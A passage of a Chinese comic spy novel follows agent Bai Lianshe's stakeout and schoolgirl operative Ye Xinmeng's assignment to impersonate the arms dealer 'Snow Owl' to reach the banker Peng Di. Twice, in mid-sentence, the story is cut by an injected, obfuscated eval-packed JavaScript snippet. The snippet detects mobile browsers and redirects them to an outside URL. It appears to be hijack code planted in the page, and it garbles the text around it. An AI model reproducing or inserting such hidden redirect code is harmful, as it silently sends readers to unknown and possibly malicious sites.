白链蛇迅速从窗口下降,落地时踩进一个水坑,袜子湿了——这是他今晚最大的损失。他快速返回藏身处,按下耳麦:“会面结束。目标即将离开。拍到第三个人的照片了吗?我要看看他那身西装什么牌子。” “无人机拍到了清晰的正面照。”指挥中心回应,背景有敲键盘声,“正在数据库中比对——哦,识别出来了,是‘精英男士’连锁店的打折款,去年款式。” “我问的是人脸识别!” “哦,那个也在跑……出来了。阮文雄,四十二岁,交趾裔,表面身份是跨国贸易公司‘南洋之星’的副总裁。情报处怀疑他是‘战鹰’组织在瑆洲的高级协调员,但一直缺乏直接证据——主要是他公司报税太规范了,不像坏人。” “唐,你听到了‘战鹰’和‘鱼鹰’的代号?” “是的。会面涉及资金筹集和行动计划,听起来像创业项目路演,但带威胁性质。”白链蛇一边报告,一边拧袜子上的水,“苏蜜妲的丈夫彭迪是关键人物,他们想拉他入伙,可能看中他的银行资源和特种兵背景——既能搞钱又能打架,性价比高。” “收到。三号车准备,目标要出来了。你的袜子……后勤说特殊情况可以申请一双新的,但要写说明。” 仓库门打开,苏蜜妲和吴山河走出来。他们没有交谈,苏蜜妲径直走向丰田车,吴山河则站在门口目送她离开,姿态像小区保安。 丰田车驶离码头区,排气管又冒出一阵黑烟。三号车悄然跟上,司机可能还在喝那杯买一送一的奶茶。 白链蛇留在原地,继续观察吴山河。那个前特种兵在雨中站了大约一分钟,点燃一支烟,深吸一口,然后扔在地上踩灭——没完全踩灭,烟头还在湿漉漉的地上微弱地红着。他转身回到仓库,关上了门,这次“吱呀”声更大了。 “唐,撤离。”指挥中心的指令传来,“分析组需要你立刻回来汇报。我们比对出了第三个人的身份,还发现阮文雄的信用卡记录显示他经常光顾一家高级日料店,消费可疑。” “那可能是他的弱点——贵且吃不饱。”白链蛇最后看了一眼仓库,然后悄然退入夜色,感觉自己在演默剧。雨水继续下着,冲刷着码头区的铁锈、秘密和几个被遗弃的外卖盒。他知道,今晚的发现只是冰山一角,而这座冰山可能正在搞众筹。苏蜜妲、彭迪、吴山河、阮文雄(或者说“鱼鹰”)——这些人串联起来,指向一个正在酝酿中的风暴,或者说,一个草台班子试图搞个大新闻。 而风暴的中心,正是这个鹰巢旗下的战鹰小组,以及他们准备在瑆洲实施的计划——希望他们的应急预案比这场雨靠谱。 回到车上,白链蛇打开加密通讯设备,开始整理今晚的观察报告。雨刷在挡风玻璃上来回摆动,像是某种倒计时,也像是无奈地挥手。 他不知道的是,同一时刻,在城市的另一侧,圣保罗医院附属医学院的女生宿舍里,一个十九岁的少女刚刚结束学习,合上《解剖学图谱》。她揉了揉眼睛,看了眼窗外连绵的雨,然后从抽屉最深处取出一个加密通讯器——外壳贴着卡通贴纸,等待教官的指令。 叶馨蒙。她的今日待办清单上写着:“复习考试、买洗衣液、接收组织指令(如无冲突)”。 而教师宿舍那里,她的教官尹柏萧也正站窗前看着雨水中的城市,手里捧着一杯枸杞茶。手机屏幕上刚刚收到情报处的加密简报概要,标题只有三个字,却让他皱起了眉头: “鹰巢·动” 下面还有一行小字附注:“行动代号‘除湿器’,因最近雨季,设备易受潮。” 夜色更深了。雨水继续下着,仿佛要洗净这座城市的所有阴影,却又不断地制造新的、更深的暗影——以及更多需要报销的干洗费。 在那些暗影中,蛇在无声地游走(希望别着凉),鹰在黑暗中盘旋(视力可能受雨天影响)。而一张由阴谋、金钱、暴力以及若干不专业操作编织的网,正在瑆洲的夜色中悄然张开,像一张没晾干就收起来的渔网,湿漉漉、沉甸甸,还带着点腥味。 白链蛇发动车子,驶向指挥中心。他想着那份报告,想着即将到来的加班,想着能不能报销一碗热汤面。雨声里,城市继续运转,秘密继续滋生,而生活——荒诞又真实的生活——在每一个潮湿的角落里,默默地、幽默地持续着。 瑞华高中的下课铃在下午三点四十五分准时响起,声音清脆却机械,像是从另一个更有序的世界传来的信号——那个世界可能连下课铃都装了KPI。 叶馨蒙合上化学课本,封面上的分子结构图在她眼中自动解构成更基础的几何排列——那是庞教官教她的图像记忆法,把复杂信息拆解为可储存的模块。她把课本放进背包,动作和周围所有高二女生一样,带着恰到好处的疲惫和轻松,还有一丝“食堂去晚了就没好菜”的隐忧。 “馨蒙,放学去奶茶店吗?”同桌林晓薇凑过来,马尾辫在她肩头跳动,像一只活泼的松鼠尾巴,“新开的‘茶语’,听说他们的珍珠是手工做的,一颗一颗搓的,搓珍珠的大妈时薪二十五块呢。” 叶馨蒙露出一个抱歉的微笑,那笑容经过精确校准:嘴角上扬15度(不能再多了,会显得假),眼角微弯(显得真诚),持续3秒(长了像傻笑,短了像敷衍)。“今天不行,我得去图书馆查点资料。化学竞赛的论文还没写完,题目是《论奶茶珍珠在胃酸环境下的降解速率》,老师很期待。” “又是竞赛。”林晓薇夸张地叹气,从书包里摸出一包薯片,“你真是我们班的学神,也是我们班唯一一个能把‘去图书馆’说得像‘去拯救世界’的人。” “哪有。”叶馨蒙谦虚地摇头,同时感觉到左腕内侧传来三次轻微的震动——那是加密手表的信号,间隔短长-短,代表紧急。震动模式设计得很贴心,和手机闹钟、微波炉完成加热的提示都不一样,以防她误判。 她保持笑容不变,收拾好文具,和同学们一起走出教室。走廊里挤满了放学的人潮,空气里混合着汗味、廉价香水味和刚发下来的试卷油墨味。叶馨蒙自然地融入人流,却在楼梯口转向了通往体育馆的侧廊——那里人少,监控死角多,而且体育馆后门常年被一个坏掉的自动售货机挡着,是完美的“学生不想上体育课”通道。 一进入空无一人的侧廊,她脸上的笑容瞬间消失,取而代之的是一种近乎空洞的平静——不是冷酷,更像是“暂时关闭表情以节省电量”。她从背包夹层里取出一个看似普通的智能手机,指纹解锁后,屏幕上自动跳转到一个纯黑色的界面,上面只有一个不断旋转的银色蛇形图标。 一条加密信息正在闪烁,字体是冷静的深灰色: 新安全屋Δ,17:00。优先级:一级。(注:本次不提供茶点) 发送者标识:庞芳玲教官。 叶馨蒙迅速删除信息,手机自动恢复了普通界面,屏保是她上周拍的猫——一只在情报处安全屋附近流浪的三花,她给它起名叫“线人”,因为它总是神出鬼没。她看了眼时间:下午三点五十二分。距离会面还有一小时八分钟。足够她完成从“瑞华高中学生叶馨蒙”到“蛇系特工小金环蛇”的转换,中间可能还包括换个袜子。 她没有从后门直接离开,而是先去了图书馆。这是必要的一步——如果有人事后调查她的行踪,图书馆的借阅记录和监控会证实她的说辞。她在三楼自然科学区停留了十五分钟,借了两本化学参考书:《 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937049|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有机化学进阶》和《毒物动力学入门》(后者被图书管理员多看了一眼)。然后在卫生间最里面的隔间更换了装束。 校服被折叠放进背包底层,取而代之的是一件深灰色的连帽卫衣(正面印着“我爱化学”,背面是苯环结构图)和黑色牛仔裤。她取下头绳,让及肩的黑发散开,又从背包侧袋取出一副普通的无框眼镜戴上。镜子里的女孩瞬间老了三四岁,气质也从高中生变成了“熬夜写论文的研究生”或“刚入职还没被职场磨平棱角的年轻职员”。 四点二十分,她离开图书馆,从学校西门出去,混入下班高峰期的街道。一个卖烤红薯的大叔多看了她两眼——可能因为她没买红薯,也可能因为她的卫衣在说爱化学。 瑆洲的傍晚总是来得急促。太阳还挂在天边,但高楼已经把阴影铺满了街道,像一块块巨大的、免费的遮阳布。叶馨蒙选择了一条迂回的路线:先乘坐地铁两站,在中央市场站下车,穿过拥挤的集市(那里有卖活鸡、廉价内衣和声称能治百病的药草),再从另一侧入口重新进入地铁系统,换乘另一条线路。 这是庞教官教的防跟踪基本法:在人群密集处制造自然的“断点”,利用环境噪音和视觉混乱掩盖行踪。额外好处是,她能顺便观察市场里那个总把“最后三天清仓”牌子挂了三个月的服装摊今天还在不在。 四点五十五分,她抵达城西的老工业区。这里曾经是瑆洲纺织业的中心,如今大部分厂房已经废弃或改造为艺术家工作室和廉价公寓。街道狭窄,监控稀少,是设立安全屋的理想区域——也是拍低成本恐怖片的理想取景地。 新安全屋位于一栋六层旧楼的顶层,楼体外墙爬满了枯萎的藤蔓植物,看起来像是建筑的静脉曲张。叶馨蒙从后门的消防梯上楼,脚步轻盈,几乎没有发出声音——除了在第三级台阶踩到一颗松动的螺丝,发出轻微的“吱呀”,她心里给这栋楼的安全评级扣了十分。她在五楼半的平台停下,侧耳倾听——只有远处街道的车流声、楼内某处水管滴水的节奏(大概每秒一滴,漏水问题严重),以及不知道哪家在看电视剧,隐约传来“你到底爱不爱我”的台词。 确认安全后,她继续上行,在顶层的一扇锈迹斑斑的铁门前停下。门没有锁孔,只有一块巴掌大的金属面板,上面还有前任租客贴的小广告残胶。她将左手手掌按上去,面板发出几乎听不见的嗡鸣,像一只困倦的蜜蜂,两秒后,铁门向内无声滑开——滑轨该上油了,有点卡。 安全屋内部和破旧的外表形成鲜明对比。房间大约三十平米,墙壁覆盖着吸音材料,灯光是柔和的冷白色,照得人脸色像实验室标本。房间中央是一张金属桌和两把椅子(ergonomic设计,腰部支撑不错),靠墙的架子上摆放着通讯设备、武器(摆放整齐,像超市货架)和伪装工具(包括三顶假发,发质一般)。空气里有淡淡的清洁剂味道,混合着电子设备散热时特有的臭氧味,闻起来像“高科技与洁癖的结合体”。 庞教官已经在那里了。 她背对着门,站在房间唯一的窗前——那是一面单向玻璃,外面看起来和普通窗户无异(甚至还贴了张“通下水道”的贴纸做伪装),但从内部可以清晰看到街道和对面建筑的屋顶。庞教官穿着简单的黑色便装,身材挺拔,短发整齐地别在耳后,看起来更像一位严厉的体育老师(那种会因为你跑步姿势不对而罚你多跑两圈的老师)而非情报组织的教官。 “门禁记录显示你迟到了四十七秒。”庞教官没有转身,声音平静却带着不容置疑的锐利,像一把刚刚磨好的尺子。 “中央市场站有临时安检,耽误了时间。”叶馨蒙关上门,铁门自动锁闭,发出轻微的“咔哒”,像在说“锁好了,别想跑”。她走到桌前站定,姿势标准:双脚与肩同宽,双手自然垂在身侧,目光平视前方——盯着庞教官后脑勺上那根倔强翘起的头发。 这是训练时的姿势。虽然她已经执行过七次任务(三次成功,三次勉强完成,一次因为目标突然食物中毒而取消),但每次见到庞教官,身体还是会自动进入这种状态,像条件反射。 庞教官终于转过身。打量着叶馨蒙,从头发(散得自然,但有一缕不听话)到鞋子(鞋带系得标准,但左脚鞋尖有点脏),目光像超市的条形码扫描仪一样仔细,可能还在心里打分。 “伪装合格。”她最终说道,走到桌前坐下,“但眼镜的折射率不对。如果是普通树脂镜片,在刚才的光线下应该会有更明显的光斑。下次注意细节——除非你想看起来像个刚学会戴隐形眼镜的菜鸟特工。” “是,教官。”叶馨蒙没有解释那副眼镜其实带有微型摄像头(能录像还能测距)。庞教官不喜欢解释,只要求结果。 “坐。” 叶馨蒙在对面的椅子上坐下,脊背挺直,感觉椅子的人体工学设计在默默点赞。 庞教官打开桌上的平板电脑,调出一份档案。屏幕的光映在她脸上,让那些细纹更加明显——是岁月的痕迹,也是长期熬夜看监控的勋章。 32. 新任务(2) “新任务。”她直接切入正题,把平板转向叶馨蒙,动作像服务员上菜,“目标:彭迪,五十一岁,退役交趾特种部队上尉,现为‘泛亚联合银行’瑆洲分行副行长。已婚,妻子苏蜜妲,交趾人,三十二岁——年龄差略大,但在这个时代也不算稀奇。” 屏幕上是一张中年男人的照片:方脸,短发已见灰白,眼神沉稳,嘴角的线条透着一丝军人特有的坚毅,像是那种即使退休了也会把毛巾叠成豆腐块的人。另一张是他和一位年轻奥黛女子的合影——应该就是苏蜜妲,容貌秀丽,笑容温婉,但眼睛深处有种难以捉摸的东西,像在思考今晚做什么菜,或者怎么处理掉一具尸体。 “这对夫妇目前处于我们的重点监控。”庞教官继续说,手指在平板上滑动,“我们怀疑苏蜜妲与鹰巢旗下战鹰小组有联系。昨晚的监视确认她在为战鹰担任中间人试图拉拢彭迪为组织提供资金——可能还承诺了员工持股计划。” 叶馨蒙仔细阅读着档案上的细节。彭迪的履历堪称典范:交趾特种部队服役十二年,参加过三次跨境联合反恐行动,获得过勋章(但档案没写是什么勋章,可能是“全勤奖”)。退役后进入金融业,凭借出色的分析能力和纪律性,十年内从普通职员晋升为分行副行长。没有不良记录,社交圈干净,唯一的“污点”可能是娶了一位比自己年轻十九岁的妻子,以及在银行年会上被拍到唱歌跑调。 “彭迪本人尚未同意合作。”庞教官说,调出通讯记录截图,“但从昨晚截获的通讯看战鹰已经失去耐心。他们派出了代号鱼鹰的高级协调员,将在一周内亲自施压——可能是带着一份无法拒绝的‘合作邀请’,或者一把无法拒绝的枪。” 她调出另一张照片。一个穿灰色西装的男人,左眉上方有疤,眼神锐利,像是在评估你的生命价值。 “阮文雄,表面身份是贸易公司副总裁,实际是鱼鹰。”庞教官敲了敲屏幕,指甲剪得很短,“如果彭迪在他的压力下屈服,或者如果他拒绝而遭到‘处理’,都会引发我们不愿看到的后果——比如银行系统混乱,或者我们的工作量激增。” 叶馨蒙抬起头:“任务目标是什么?”她尽量让声音听起来冷静,而不是“高二女生被布置了不可能完成的作业”的那种绝望。 “接触彭迪。评估他的真实立场。如果可能,争取他成为我们的线人。”庞教官顿了顿,像在思考措辞,“但最重要的是,要通过他打入战鹰组织内部。我们要知道他们在瑆洲到底想干什么,计划什么时候干,以及——最重要的是——预算多少。” 房间里安静了几秒。空调系统发出低沉的嗡鸣,努力想把室温维持在“既不让人出汗也不让人感冒”的微妙区间。 “打入内部……”叶馨蒙重复道,消化着这个信息,“意思是,让我假意加入战鹰?像卧底电影那样,但没那么多慢镜头和悲壮配乐?” “准确说,是让你以另一个身份被他们招募。”庞教官调出另一份档案,动作熟练得像在翻菜单,“我们有一个现成的切入点,一个已经搭建好的人设,不用从头开始编——省时省力。” 屏幕上出现一张女性的照片,看起来三十出头,面容冷峻,眼神里有种孤狼般的警惕,嘴角的弧度像是在说“别惹我,我起床气很重”。 “代号‘雪鸮’,原名拉特娜·维贾亚,爪哇籍职业特工,曾为多个武装组织提供情报和物流服务,客户评价两极分化:有人说她专业高效,有人说她收费太贵且不提供发票。三个月前,她在试图潜入瑆洲时被我们抓获,目前关押在高度设防的拘留中心——单人间,但没窗。” 庞教官放大照片,像素有点渣:“重要的是,‘雪鸮’在爪哇和交趾的地下世界很有名。她以高效、冷酷和神秘著称——几乎没人见过她的真面目,她总是通过中间人交易,像某种特工界的幽灵外卖员。而且,情报显示战鹰组织正在寻找她,或者更准确地说,寻找她手里的一批东西。” “什么东西?”叶馨蒙问,心里已经猜到了七八分。 “军火。”庞教官直视叶馨蒙的眼睛,目光像手术灯,“‘雪鸮’在爪哇某次政变行动中,秘密转移了一批高价值武器,包括狙击步枪(带瞄准镜)、□□(C4,不是土制)和通讯设备(加密型号)。这批军火的下落只有她知道,战鹰组织急需这批物资来武装他们在瑆洲的人员——可能还想搞个团建。” 叶馨蒙明白了,这个逻辑简单粗暴:“您想让我冒充‘雪鸮’,让彭迪引荐我给战鹰。我带着‘我有军火’的诱饵,他们咬钩,我混进去。” “正是。”庞教官关掉平板,屏幕暗下去的瞬间映出她略显疲惫的脸,“但这很危险。战鹰小组不是普通的犯罪团伙,他们是受过专业训练的准军事组织,纪律性可能比我们某些部门还强。一旦你的身份暴露,他们不会给你审讯的机会——可能连遗言时间都不给。” “我明白。”叶馨蒙说,心里想的是:至少不用写任务报告了。 “而且你必须在极短时间内掌握‘雪鸮’的一切信息:她的行事风格、交易习惯、口头禅、甚至她的身体语言——比如她紧张时会不会抠手指。”庞教官从抽屉里取出一个厚厚的文件夹,放在桌上,发出“咚”的一声,“这是我们从审讯中提取的所有资料,包括她的购物清单(喜欢某个牌子的爪哇咖啡)和医疗记录(对花生过敏,但不过敏子弹)。” 叶馨蒙接过文件夹。很沉,至少有两百页,拎在手里像一块砖——知识就是力量,字面意思。 “四十八小时后,你要去接触彭迪。”庞教官继续说,语气像在布置突击测验,“我们会安排一个‘自然’的相遇场景。你的身份是来自爪哇的自由情报员,通过地下渠道听说战鹰在招兵买马,想主动投靠。但你需要一个引荐人——而彭迪,作为前特种兵和银行家,是完美的桥梁。他既有地下世界的联系人,又有体面的社会身份,像个双面USB插头。” “如果彭迪拒绝呢?”叶馨蒙问,翻看着文件夹第一页,上面是“雪鸮”的基本信息:血型O,鞋码38,喜欢辣味食物。 “那就说服他。”庞教官的语气不容置疑,“用任何必要的手段。但记住,不能暴露你的真实身份。你必须是‘雪鸮’,一个为了钱和刺激什么都敢做的亡命特工——当然,也接私活,价格另议。” 叶馨蒙翻看着文件夹里的照片和资料。拉特娜·维贾亚,三十五岁,出生于爪哇中产阶级家庭,大学攻读心理学(可能为了更好地操控人心),后失踪三年,再现时已成为雇佣特工。她擅长近距离格斗和情报分析,惯用左手,抽烟但不喝酒(健康意识矛盾),有一个标志性的小动作——思考时会用右手食指轻敲太阳穴,像是在给大脑上发条。 一个完整的人,一个完整的人生。现在她要成为这个人,像演员揣摩角色,只不过演砸了不是被嘘下台,而是被送上西天。 “教官,”她抬起头,尽量让声音听起来只是好奇,而不是害怕,“真正的‘雪鸮’还在拘留中心。如果战鹰有人见过她,哪怕只是远远瞥过一眼……” “这就是风险所在。”庞教官坦然承认,从口袋里摸出一小盒薄荷糖,倒出一颗,“但根据情报,‘雪鸮’极其谨慎,几乎从不亲自露面。她所有的交易都是通过加密通讯或一次性中间人完成。见过她真面目的人,要么是死人,要么是我们的人——而我们的人嘴很严,主要是因为签了保密协议,违约罚款很重。” “几乎从不。”叶馨蒙捕捉到这个词,像侦探发现线索。 庞教官沉默了几秒,把薄荷糖咬得咔咔响:“是的,几乎。根据爪哇那边传来的情报,五年前‘雪鸮’在一次武器交易中曾与战鹰的一名中层人员短暂会面。但那人在六个月后死于一场‘意外’——很可能是‘雪鸮’灭的口,也可能是他忘了给摩托车加油。” “所以理论上,认识她长相的人已经不存在了。” “理论上。”庞教官站起身,走到窗边,看着楼下街道上一个推着小车卖水果的小贩,“情报工作永远没有百分之百的把握。如果你需要绝对安全,现在就该退出——然后回去写你的化学竞赛论文,研究珍珠的降解,那个至少不会要命。” 叶馨蒙没有回答。她低头继续翻看资料,手指划过“雪鸮”的作战记录:吉隆坡的酒店刺杀(用冰锥,没留指纹),曼谷的使馆文件盗窃(伪装成保洁),文莱的商船劫持(声称是海盗,但海盗不会用那么专业的绳结)……每一桩都干净利落,不留痕迹。这个女人是个艺术家,只不过是死亡与秘密的艺术家,作品从不参展。 “我接受任务。”她最终说,声音平静,心里在计算四十八小时能睡几觉。 庞教官转过身,眼神复杂地看着她。有那么一瞬间,叶馨蒙觉得教官想说什么,也许是警告“别死了”,也许是劝诫“现在反悔还来得及”,甚至可能是“其实我冰箱里还有布丁,你要不要先吃一个”。但最终,庞芳玲只是点了点头,像在验收一个合格产品。 “很好。四十八小时倒计时从现在开始。安全屋里有卧室(床硬了点)和食物(主要是速食面和能量棒),通讯设备已加密,你可以在这里准备。”她走向门口,手放在门把上,又停下,像突然想起什么,“还有一件事。” “教官?”叶馨蒙抬头。 “‘雪鸮’最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937050|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次已知活动,是在瑆洲东南部的龟背岛。她在那里有一个联系人,名叫刘易斯,前英国SAS成员,现在做私人安保顾问。根据情报,他可能知道那批军火的具体藏匿位置——或者至少知道该问谁。”庞教官的表情变得凝重,像在说一件很严肃的事,“如果你成功打入战鹰小组,他们一定会问你军火的下落。到时候,你可能需要去找这个刘易斯,用‘雪鸮’的方式跟他对话。” “明白了。”叶馨蒙记下这个名字,刘易斯,前SAS,现在卖安全——物理意义上的。 “但要小心。”庞教官最后补充,门已经滑开一道缝,“如果‘雪鸮’还活着——我是指,如果她越狱了,或者有我们不知道的替身——她一定也在找刘易斯。要么是为了取回军火,要么是为了灭口。所以她可能既是你的伪装,也是你的竞争对手,还是你的潜在杀手。很有趣,对吧?” 铁门再次滑开,庞教官的身影消失在走廊昏暗的光线里。门关上后,安全屋里只剩下叶馨蒙一个人,还有两百页关于另一个女人的生平,以及一屋子冷白色的灯光。 她拿起第一页,开始阅读。标题是:《拉特娜·维贾亚:童年与家庭背景》。第一句话是:“她七岁时养的狗死了,她没哭。” 窗外,夜色完全降临。瑆洲的灯火逐一点亮,从高空看去,这座城市的脉络如同发光的神经网络,每一盏灯下都有一个故事,每一个阴影里都藏着一个秘密——或者一只野猫。 而在城市某处,真正的“雪鸮”正坐在拘留中心的单人囚室里,盯着墙壁上的某个点(那里有之前囚客刻的“到此一游”),嘴角挂着一丝冰冷的微笑。她刚刚通过某种只有她自己知道的方式(可能是摩斯密码敲水管,也可能是收买了某个狱警),收到了一个消息:外面有人在用她的名字,她的履历甚至她的过敏史。 而她,对此很感兴趣。像原作者发现有人抄袭,但抄得还挺像那么回事。 铁门外的走廊传来脚步声,狱警开始晚间巡查,手电筒的光扫过门上的小窗。“雪鸮”躺回床上,闭上眼睛,但大脑却在高速运转。她在计算,在等待,在计划——像一只真正的猫头鹰,在黑暗中睁着眼睛。 四十八小时。 时间对每个人都在流逝,但速度不同。对叶馨蒙来说,这是背诵和准备的四十八小时(中间可能要抽空补个觉)。对庞教官来说,这是布设棋局、协调资源、写报告申请预算的四十八小时。对彭迪和苏蜜妲来说,这是等待风暴来临、可能还要吵架“你到底惹了什么人”的四十八小时。 而对“雪鸮”来说,这是决定何时、如何撕破那张冒充她的脸皮的四十八小时——她甚至有点期待,想看看这个模仿者能演到第几集。 夜色深沉。游戏已经开始,演员就位,灯光就绪,就是剧本有点糙。 叶馨蒙翻过一页资料,用红色记号笔(安全屋提供的,只有红蓝黑三色)标注出一个关键细节:“雪鸮”在紧张时,左手小指会不自觉地微微抽搐,幅度很小,像微弱的电流通过。 她活动了一下自己的左手小指,试图模仿那种细微的、几乎无法察觉的颤抖。第一次,太刻意,像抽筋。第二次,太轻,像蚊子抖翅膀。 第三次时,她成功了——小指以精确的0.5厘米幅度,每秒颤动两次,完美复刻。 她看着自己的手,眼镜后的眼睛,眼神已经悄然改变——少了些少女的清澈(和熬夜做题的黑眼圈),多了些捕食者的锐利(和“这任务真麻烦”的无奈)。 小金环蛇开始蜕皮,准备化身雪鸮。希望新皮肤合身,别起静电。 安全屋的空调又“嗡”了一声像在叹气。远处,城市的霓虹闪烁,某个奶茶店招牌上的“买一送一”字样格外明亮。在这个充满秘密的夜晚,有人准备成为另一个人,有人等着揭露冒充者,还有人在想:珍珠奶茶,到底加不加冰? 雨后的瑆洲湾高尔夫俱乐部散发着青草与潮湿泥土的气息,闻起来像昂贵的空气清新剂。早晨的阳光穿透薄雾,在修剪完美的球道上投下长长的影子——每根草都被修剪得一样高,仿佛接受了军训练。这里是城市精英的社交场,也是秘密交易的理想掩体——开阔的视野确保不会被窃听,而高昂的会员费(够普通人交半年房租)则自动过滤了不必要的耳目。 叶馨蒙站在第十六洞的发球台旁,穿着一身得体的白色高尔夫球装(租的,日租金能买三杯奶茶),头发束成利落的马尾,脸上戴着运动太阳镜(防紫外线指数50+,也能防面部识别)。她手里握着一支租来的球杆,动作标准却略显生疏,完美扮演着一个“试图融入上流社会但预算有限”的新手。 33. 退役军人的抉择(1) 她的目光扫过远处果岭上的人群。几个穿着鲜艳Polo衫的中年男人正在推杆,笑声随风飘来,轻松惬意——他们可能刚谈成一笔生意,或者刚发现自己的股票涨了。而在他们左侧约五十米处,一个穿着深蓝色运动装的男人独自一人,正弯腰研究推杆路线,表情严肃得像在拆弹。 彭迪。 叶馨蒙看了看腕表:上午九点十七分。比预定时间早了三分钟——准时是美德,但太准时会显得可疑。她深吸一口气,调整了一下手套的位置(租的手套有点大),然后走向自己的球——一个刚好落在彭迪视线范围内的位置像是被精心安排过(也确实被精心安排过)。 计划很简单:制造一次“偶然”的相遇。俱乐部的记录显示彭迪每周三上午都会来打九洞,风雨无阻——退役军人的生物钟比瑞士手表还准。这是他军旅生涯养成的习惯:规律、纪律、独处,以及坚信“早起的人能占领道德高地”。而今天,一个名叫“林雅”(叶馨蒙的伪装身份,听上去像言情小说女主角)的新会员,刚好预约了相邻的tee time,纯属巧合(每周会费500元的那种巧合)。 叶馨蒙在球旁站定,摆出准备击球的姿势。她用眼角余光观察着彭迪。男人大约一米七八,身材保持得很好,没有这个年纪常见的赘肉,可见军旅习惯还没被银行沙发完全腐蚀。挥杆动作干脆有力,显然是经过专业训练。但他的眉头微蹙,眼神飘忽,心思显然不在球上——可能在想财务报表,也可能在想怎么拒绝一个武装组织。 她挥杆。球划出一道低平的弧线,落在球道左侧,距离彭迪所在的位置不到二十米,完美地展示了她“新手”的身份。 “抱歉!”叶馨蒙提高声音,用略带爪哇口音的英语喊道——这口音她练了一晚上,现在说起来像“爪哇咖啡广告里的温柔女声”,“新手,控制不好方向!这球杆可能有点歪!” 彭迪抬起头,朝她点了点头,表情礼貌但疏离,像是在说“知道了,别过来”。他走回自己的球车,准备前往下一洞,动作标准得像在撤退。 叶馨蒙快步走过去:“先生,打扰一下。请问您知道练习场怎么走吗?我好像迷路了。”——这话在高尔夫俱乐部说有点怪,毕竟这里路标比机场还多。 这是设计好的第二层接触。如果第一次打招呼被礼貌回避(通常会发生),就制造一个需要帮助的场景(人类很难拒绝求助者,尤其是看起来无害的女性)。 彭迪停下脚步,打量了她一眼。他的目光锐利,带着军人特有的审视感,但很快又恢复了平静——像安检扫描仪,扫完就嘀一声放行。“沿着这条路走到尽头,右转就能看到标志。很大,不会错过。” “谢谢您。”叶馨蒙没有立刻离开,而是做出犹豫的样子,手指绞着球杆袋的背带,“其实……我听到他们称呼您彭先生?您是泛亚联合银行的彭迪先生吗?” 彭迪的眼神瞬间变得警惕,像雷达探测到不明飞行物:“我们认识吗?” “不,不认识。”叶馨蒙露出恰到好处的紧张笑容,像是粉丝见到偶像,“但我的一位朋友提起过您。她说您在交趾特种部队服役时,救过她哥哥的命。她说您是她见过最勇敢的人——除了她哥哥欠您的那笔钱一直没还。” 这是庞教官提供的真实信息,但稍微润色:十二年前,彭迪在一次跨境反恐行动中,曾救出一名被绑架的爪哇商人的儿子。那个商人后来成为爪哇颇有影响力的企业家,而且——根据情报——与地下世界有些模糊的联系(主要涉及走私咖啡豆)。 彭迪的表情缓和了些许,但警惕未减,像放松了但没完全放松的弹簧:“那是很久以前的事了。请问你的朋友是?” “萨利姆·维贾亚。”叶馨蒙说出准备好的名字,发音标准,“他妹妹拉特娜让我向您转达问候。她说欠您的人情一直记着。” 空气凝固了,像突然被放进冰箱的果冻。 彭迪的手指在推杆握柄上收紧,指节微微发白,像是要把球杆捏碎。他盯着叶馨蒙,眼神里有什么东西在翻涌——惊讶、怀疑,还有一丝难以言说的紧张,像是突然发现家里有陌生人。 “拉特娜……”他重复这个名字,声音很低,像是在念咒语,“她还活着?” “活得很好。”叶馨蒙微笑,嘴角弧度刚好,“她说如果见到您,一定要当面感谢——当年如果不是您的情报,她哥哥可能永远找不到。当然,也可能找到但已经变成人质市场里的打折商品。” 这句话半真半假。真实的部分是,彭迪确实曾为那次营救行动提供过关键情报。假的部分是,拉特娜·维贾亚——也就是雪鸮——从未表示过任何感谢。根据审讯记录,她对那次行动的评价是“多管闲事的官方表演,效率低下但宣传效果不错”。 彭迪沉默了几秒。远处传来球杆击球的清脆声响,一只白鹭从水塘边飞起,翅膀在阳光下泛着光,对人类的谎言毫不在意。 “拉特娜让你来找我?”他终于问,语气谨慎,像是在拆一个可能爆炸的包裹。 “不完全是。”叶馨蒙看了看四周,压低声音——这个动作在高尔夫球场显得有点戏剧化,但必要,“是我需要您的帮助。而拉特娜说,您是瑆洲少数几个可以信任的人——名单很短,大概三个人,您排第二。” “信任。”彭迪重复这个词,嘴角扯出一个苦涩的弧度,像是在品尝过期的咖啡,“这是个危险的词,小姐……?” “林雅。但我的朋友们叫我别的名字。”叶馨蒙迎上他的目光,保持眼神接触但不显得挑衅,“就像拉特娜也有别的名字一样——通常出现在通缉令上。” 两人之间的空气变得沉重。远处果岭上的人们已经完成推杆,正说笑着走向下一洞,讨论着中午吃什么。而在这里,十六洞的发球台旁,一场关乎生死和忠诚(以及可能的高尔夫罚款)的对话刚刚开始。 彭迪看了眼手表——军用款式,表盘上有指南针:“我十点有个会议,关于不良贷款率的。如果你不介意边走边谈……” “当然。我正好要去练习场——如果我能找到的话。” 他们走向球车。彭迪开车,叶馨蒙坐在副驾驶座。车子在球道上缓慢行驶,发动机的声音很轻,像是在窃窃私语。 “你想让我帮什么忙?”彭迪直入主题,语气恢复了银行家的效率,像是准备批贷款。 “我想接触一个组织。”叶馨蒙说,用上了雪鸮那种直接、不带感情的语气,像是在点外卖,“战鹰’。我听说他们在瑆洲有活动,正在招募专业人士。我正好专业,他们也正好需要。” 彭迪的手在方向盘上紧了紧。车子微微偏离了路线,又很快纠正,像是在高速公路上突然看到路障。 